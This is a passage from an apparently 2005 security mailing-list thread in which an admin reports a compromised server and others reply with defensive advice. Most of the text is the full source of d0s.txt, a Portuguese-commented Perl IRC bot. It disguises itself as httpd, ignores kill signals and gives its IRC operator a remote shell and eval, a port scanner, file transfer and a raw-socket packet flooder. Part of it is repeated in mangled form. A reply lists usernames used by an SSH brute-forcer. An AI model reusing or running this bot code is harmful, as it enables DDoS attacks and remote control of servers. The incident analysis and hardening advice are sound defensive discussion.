> sub who {
> return unless $#_ =3D=3D 0;
> sendraw("WHO $_[0]");
> }
> sub names {
> return unless $#_ =3D=3D 0;
> sendraw("NAMES $_[0]");
> }
> sub away {
> sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>
>
>
> # DCC
> package DCC;
>
> sub connections {
> my @ready =3D $dcc_sel->can_read(1);
> # return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo =3D $DCC{$fh}{tipo};
> my $arquivo =3D $DCC{$fh}{arquivo};
> my $bytes =3D $DCC{$fh}{bytes};
> my $cur_byte =3D $DCC{$fh}{curbyte};
> my $nick =3D $DCC{$fh}{nick};
>
> my $msg;
> my $nread =3D sysread($fh, $msg, 10240);
>
> if ($nread =3D=3D 0 and $dcctipo =3D~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} =3D "Cancelado";
> $DCC{$fh}{ftime} =3D time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} +=3D length($msg);
>
> my $cur_byte =3D $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <=3D $bytes);
> close(FILE);
>
> my $packbyte =3D pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes =3D=3D $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} =3D "Recebido";
> $DCC{$fh}{ftime} =3D time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send =3D $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} =3D 'sendcon';
> $DCC{$send}{itime} =3D time;
> $DCC{$send}{nick} =3D $nick;
> $DCC{$send}{bytes} =3D $bytes;
> $DCC{$send}{curbyte} =3D 0;
> $DCC{$send}{arquivo} =3D $arquivo;
> $DCC{$send}{ip} =3D $send->peerhost;
> $DCC{$send}{porta} =3D $send->peerport;
> $DCC{$send}{status} =3D "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik c=
om
> o sendcon open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
> # delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended =3D unpack("N", $msg);
> $DCC{$fh}{curbyte} =3D $bytes_sended;
> if ($bytes_sended =3D=3D $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} =3D "Enviado";
> $DCC{$fh}{ftime} =3D time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
> }
>
>
> sub SEND {
> my ($nick, $arquivo) =3D @_;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark =3D $arquivo;
> $dccark =3D~ s/[.*\/](\S+)/$1/;
>
> my $meuip =3D $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip =3D unpack("N",inet_aton($meuip));
>
> my @filestat =3D stat($arquivo);
> my $size_total=3D$filestat[7];
> if ($size_total =3D=3D 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta =3D int rand(64511);
> $porta +=3D 1024;
> $sendsock =3D IO::Socket::INET->new(Listen=3D>1, LocalPort =3D>$porta=
, Proto
> =3D> 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
>
> $DCC{$sendsock}{tipo} =3D 'send';
> $DCC{$sendsock}{nick} =3D $nick;
> $DCC{$sendsock}{bytes} =3D $size_total;
> $DCC{$sendsock}{arquivo} =3D $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
> }
>
> sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) =3D @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=3Dfixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$dcci=
p,
> PeerPort=3D>$dccporta, Timeout=3D>15) or return (0); $dccsock->autoflush(=
1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} =3D 'get';
> $DCC{$dccsock}{itime} =3D time;
> $DCC{$dccsock}{nick} =3D $nick;
> $DCC{$dccsock}{bytes} =3D $bytes;
> $DCC{$dccsock}{curbyte} =3D 0;
> $DCC{$dccsock}{arquivo} =3D $arquivo;
> $DCC{$dccsock}{ip} =3D $dccip;
> $DCC{$dccsock}{porta} =3D $dccporta;
> $DCC{$dccsock}{status} =3D "Recebendo";
> }
>
> # po fico xato de organiza o status.. dai fiz ele retorna o status de
> acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub
> Status {
> my $socket =3D shift;
> my $sock_tipo =3D $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick =3D $DCC{$socket}{nick};
> my $arquivo =3D $DCC{$socket}{arquivo};
> my $itime =3D $DCC{$socket}{itime};
> my $ftime =3D time;
> my $status =3D $DCC{$socket}{status};
> $ftime =3D $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time =3D $ftime-$itime;
>
> my $cur_byte =3D $DCC{$socket}{curbyte};
> my $bytes_total =3D $DCC{$socket}{bytes};
>
> my $rate =3D 0;
> $rate =3D ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen =3D ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv =3D $3; $r_duv++ if $4 >=3D 5;
> $rate =3D "$1\.$2"."$r_duv";
> }
> if ($porcen =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv =3D $3; $p_duv++ if $4 >=3D 5;
> $porcen =3D "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo"," $bytes_total",
> "$cur_byte","$d_time", "$rate", "$porcen"); }
>
>
> return(0);
> }
>
>
> sub fixaddr {
> my ($address) =3D @_;
>
> chomp $address; # just in case, sigh.
> if ($address =3D~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =3D~
> /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return
> $address;
> } elsif ($address =3D~ tr/a-zA-Z//) {
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
> }

=2D-=20
"Kids today need discipline. It's not a popular word these days:
discipline. I know Principal Flutie would have said, 'Kids need
understanding. Kids are human beings.' That's the kind of=20
wooly-headed liberal thinking that leads to being eaten."=20
- Principal Snyder, Buffy the Vampire Slayer #9

[KF]

ssh brute force... scope out that atac binary.

m0difY bY Apophis by djpantof@yahoo.com

Its got a huge list of user names

nonymous
passwd
chuck
darkman
hostmaster
jeffrey
loverd
eric
lauren
mark
richer
fluffy
gold
tomcat
cosinus
httpd
squirrelmail
trash
kent
backup
fish
java
master
mysql
oracle
....
-KF


Andrew Y Ng wrote:

>My server has been seeing some usual activities today, I don't have much time
>to get down to the bottom of things, but after I investigated briefly I have
>decided to disable PERL executable permission for www-data (Apache process's
>user), also locked /var/tmp so www-data cannot write to it.
>
>Looks like it ignores all the `kill` signals, not sure how I can actually
>kill it...
>
>
>I found the included script in /var/tmp called d0s.txt.
>
>I found a bunch of processes called ./atac 20 running, and found the
>following content in /tmp/atac:
>
>http://andrewng.com/tmp/atac.tbz
>
>here's d0s.txt:
>
>#!/usr/bin/perl
>################ CONFIGURACAO ################################################## ###############
>my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
>#----------------------------------------------################################################
>my $MODOME='+pi'; # Modo Do Bot #
>#----------------------------------------------################################################
>my $linas_max='10'; # Evita o flood depois de X linhas #
>#----------------------------------------------################################################
>my $sleep='3'; # ele dorme X segundos #
>##################### IRC ################################################## ###################
>my @adms=("DDOS"); # Nick do administrador #
>#----------------------------------------------################################################
>my @canais=("#bots ddos");# Canais #
>#----------------------------------------------################################################
>my $nick='b0t'; # Nick do bot. Caso esteja em uso vai aparecer #
># # aparecer com numero radonamico no final #
>#----------------------------------------------################################################
>my $ircname = 'b0t'; # User ID #
>#----------------------------------------------################################################
>my $realname = '4Admin14: 4#DDOS'; #
>#----------------------------------------------################################################
>$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #
># # caso n�o seja especificado no argumento #
>#----------------------------------------------################################################
>my $porta='6667'; # Porta do servidor de irc #
>################ ACESSO A SHELL ################################################## #############
>my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
>################################################# ##############################################
>
>my $VERSAO = '1.0';
>
>$SIG{'INT'} = 'IGNORE';
>$SIG{'HUP'} = 'IGNORE';
>$SIG{'TERM'} = 'IGNORE';
>$SIG{'CHLD'} = 'IGNORE';
>$SIG{'PS'} = 'IGNORE';
>
>use IO::Socket;
>use Socket;
>use IO::Select;
>chdir("/");
>$servidor="$ARGV[0]" if $ARGV[0];
>$0="$processo"."\0"x16;;
>my $pid=fork;
>exit if $pid;
>die "Problema com o fork: $!" unless defined($pid);
>
>
>
>our %irc_servers;
>our %DCC;
>my $dcc_sel = new IO::Select->new();
>
>
>$sel_cliente = IO::Select->new();
>sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
>}
>
>sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
> sleep 1;
> }
>
>}
>my $line_temp;
>while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
>}
>
>
>
>sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS TEAM\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
> } elsif ($arg =~ /^\@(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =~ m/^\.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (@canais) {
> print "$0 Executado \n";
> sendraw("JOIN $canal");
> sendraw("MODE $meunick $MODOME");
> sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME");
> }
> }
>}
>
>sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my @portas=("21","22","23","25","53","80","110","143" );
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
> if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl ortas abertas: @aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
> }
> }
> if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
>}
>
>sub ircase {
> my ($kem, $printl, $case) = @_;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg = substr($case, 6);
> voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg = substr($case, 8);
> devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
>}
>sub shell {
> return unless $secv;
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diert�rio inexistente!");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
>}
>
>#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
>sub attacker {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'B' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65000; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
> }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
>}
>
>
>
>#############
># ALIASES #
>#############
>
>sub action {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
>}
>
>sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
>}
>sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
>}
>
>sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
>}
>
>sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
>}
>sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
>}
>sub hop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
>}
>sub dehop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
>}
>sub voice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +v $_[1]");
>}
>sub devoice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -v $_[1]");
>}
>sub ban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +b $_[1]");
>}
>sub unban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -b $_[1]");
>}
>sub kick {
> return unless $#_ == 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
>}
>
>sub modo {
> return unless $#_ == 0;
> sendraw("MODE $_[0] $_[1]");
>}
>sub mode { modo(@_); }
>
>sub j { &join(@_); }
>sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
>}
>sub p { part(@_); }
>sub part {sendraw("PART $_[0]");}
>
>sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
>}
>
>sub invite {
> return unless $#_ == 1;
> sendraw("INVITE $_[1] $_[0]");
>}
>sub topico {
> return unless $#_ == 1;
> sendraw("TOPIC $_[0] $_[1]");
>}
>sub topic { topico(@_); }
>
>sub whois {
> return unless $#_ == 0;
> sendraw("WHOIS $_[0]");
>}
>sub who {
> return unless $#_ == 0;
> sendraw("WHO $_[0]");
>}
>sub names {
> return unless $#_ == 0;
> sendraw("NAMES $_[0]");
>}
>sub away {
> sendraw("AWAY $_[0]");
>}
>sub back { away(); }
>sub quit {
> sendraw("QUIT :$_[0]");
>}
>
>
>
># DCC
>package DCC;
>
>sub connections {
> my @ready = $dcc_sel->can_read(1);
># return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo = $DCC{$fh}{tipo};
> my $arquivo = $DCC{$fh}{arquivo};
> my $bytes = $DCC{$fh}{bytes};
> my $cur_byte = $DCC{$fh}{curbyte};
> my $nick = $DCC{$fh}{nick};
>
> my $msg;
> my $nread = sysread($fh, $msg, 10240);
>
> if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} = "Cancelado";
> $DCC{$fh}{ftime} = time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} += length($msg);
>
> my $cur_byte = $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <= $bytes);
> close(FILE);
>
> my $packbyte = pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes == $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} = "Recebido";
> $DCC{$fh}{ftime} = time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send = $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} = 'sendcon';
> $DCC{$send}{itime} = time;
> $DCC{$send}{nick} = $nick;
> $DCC{$send}{bytes} = $bytes;
> $DCC{$send}{curbyte} = 0;
> $DCC{$send}{arquivo} = $arquivo;
> $DCC{$send}{ip} = $send->peerhost;
> $DCC{$send}{porta} = $send->peerport;
> $DCC{$send}{status} = "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
> open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
># delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended = unpack("N", $msg);
> $DCC{$fh}{curbyte} = $bytes_sended;
> if ($bytes_sended == $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} = "Enviado";
> $DCC{$fh}{ftime} = time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
>}
>
>
>sub SEND {
> my ($nick, $arquivo) = @_;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark = $arquivo;
> $dccark =~ s/[.*\/](\S+)/$1/;
>
> my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip = unpack("N",inet_aton($meuip));
>
> my @filestat = stat($arquivo);
> my $size_total=$filestat[7];
> if ($size_total == 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta = int rand(64511);
> $porta += 1024;
> $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
> } until $sendsock;
>
> $DCC{$sendsock}{tipo} = 'send';
> $DCC{$sendsock}{nick} = $nick;
> $DCC{$sendsock}{bytes} = $size_total;
> $DCC{$sendsock}{arquivo} = $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
>}
>
>sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=fixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
> $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} = 'get';
> $DCC{$dccsock}{itime} = time;
> $DCC{$dccsock}{nick} = $nick;
> $DCC{$dccsock}{bytes} = $bytes;
> $DCC{$dccsock}{curbyte} = 0;
> $DCC{$dccsock}{arquivo} = $arquivo;
> $DCC{$dccsock}{ip} = $dccip;
> $DCC{$dccsock}{porta} = $dccporta;
> $DCC{$dccsock}{status} = "Recebendo";
>}
>
># po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
>sub Status {
> my $socket = shift;
> my $sock_tipo = $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick = $DCC{$socket}{nick};
> my $arquivo = $DCC{$socket}{arquivo};
> my $itime = $DCC{$socket}{itime};
> my $ftime = time;
> my $status = $DCC{$socket}{status};
> $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time = $ftime-$itime;
>
> my $cur_byte = $DCC{$socket}{curbyte};
> my $bytes_total = $DCC{$socket}{bytes};
>
> my $rate = 0;
> $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen = ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv = $3; $r_duv++ if $4 >= 5;
> $rate = "$1\.$2"."$r_duv";
> }
> if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv = $3; $p_duv++ if $4 >= 5;
> $porcen = "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo"," $bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
> }
>
>
> return(0);
>}
>
>
>sub fixaddr {
> my ($address) = @_;
>
> chomp $address; # just in case, sigh.
> if ($address =~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
> return $address;
> } elsif ($address =~ tr/a-zA-Z//) {
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
>}
>
>
>

[Jay D. Dyson]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Fri, 29 Apr 2005, Andrew Y Ng wrote:

> My server has been seeing some usual activities today, I don't have much
> time to get down to the bottom of things, but after I investigated
> briefly I have decided to disable PERL executable permission for
> www-data (Apache process's user), also locked /var/tmp so www-data
> cannot write to it.
>
> Looks like it ignores all the `kill` signals, not sure how I can
> actually kill it...

Seems a bit premature to call this an "Apache hack." First off,
it's probably not Apache's fault. Judging from what I've seen thus far,
it looks more like a flaw in one of your CGI scripts which allowed someone
to create and execute an arbitrary file in one of the system's most
obvious world-writable directories.

From what I've seen, the script looks like a vanilla, PERL-based
IRC bot. You should be able to kill -9 it via root.

Either way, your system got molested. Take the box offline, back
up your data, audit your CGI scripts and access policies for flaws and
weaknesses, scrub the system, reinstall the OS from trusted media, apply
all the latest patches, bring the box back online, and have a nice day.

- -Jay

( ( _______
)) )) .-"There's always time for a good cup of coffee"-. >====<--.
C|~~|C|~~| \----- Jay D. Dyson -- jdyson@treachery.net -----/ | = |-'
`--' `--' `-- Pardon me, but am I on the right planet? --' `------'

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (TreacherOS)
Comment: See http://www.treachery.net/~jdyson/ for current keys.

iD8DBQFCcqv9xzN3WIW0edsRAiVfAKCACT2YlymlkBvDuhMVCH Y2zqubOwCffTZm
ZzGeGHgc8KpjDCUx33zhtPg=
=xvyc
-----END PGP SIGNATURE-----

[Steve Kemp]

On Fri, Apr 29, 2005 at 02:03:58PM -0500, Andrew Y Ng wrote:

> My server has been seeing some usual activities today, I don't have much time
> to get down to the bottom of things, but after I investigated briefly I have
> decided to disable PERL executable permission for www-data (Apache process's
> user), also locked /var/tmp so www-data cannot write to it.

Use chrot to protect your server slightly more against problems
with any buggy scripts.

This is almost certainly the result of an insecue PHP, Perl, or
other CGI script - rather than an Apache hack.

If you examine your webservers logs you might see where the
attack happened, perhaps you'll have entries invoking the
'wget' command to download the script you found from a remote
server - that's often a common attack.

If you're interested in protecting your server against input
designed to attack insecure applications you might wish to
investigate 'mod_security'.

mod-security homepage:
http://www.modsecurity.org/

mod-security under Debian example:
http://www.debian-administration.org/?article=65

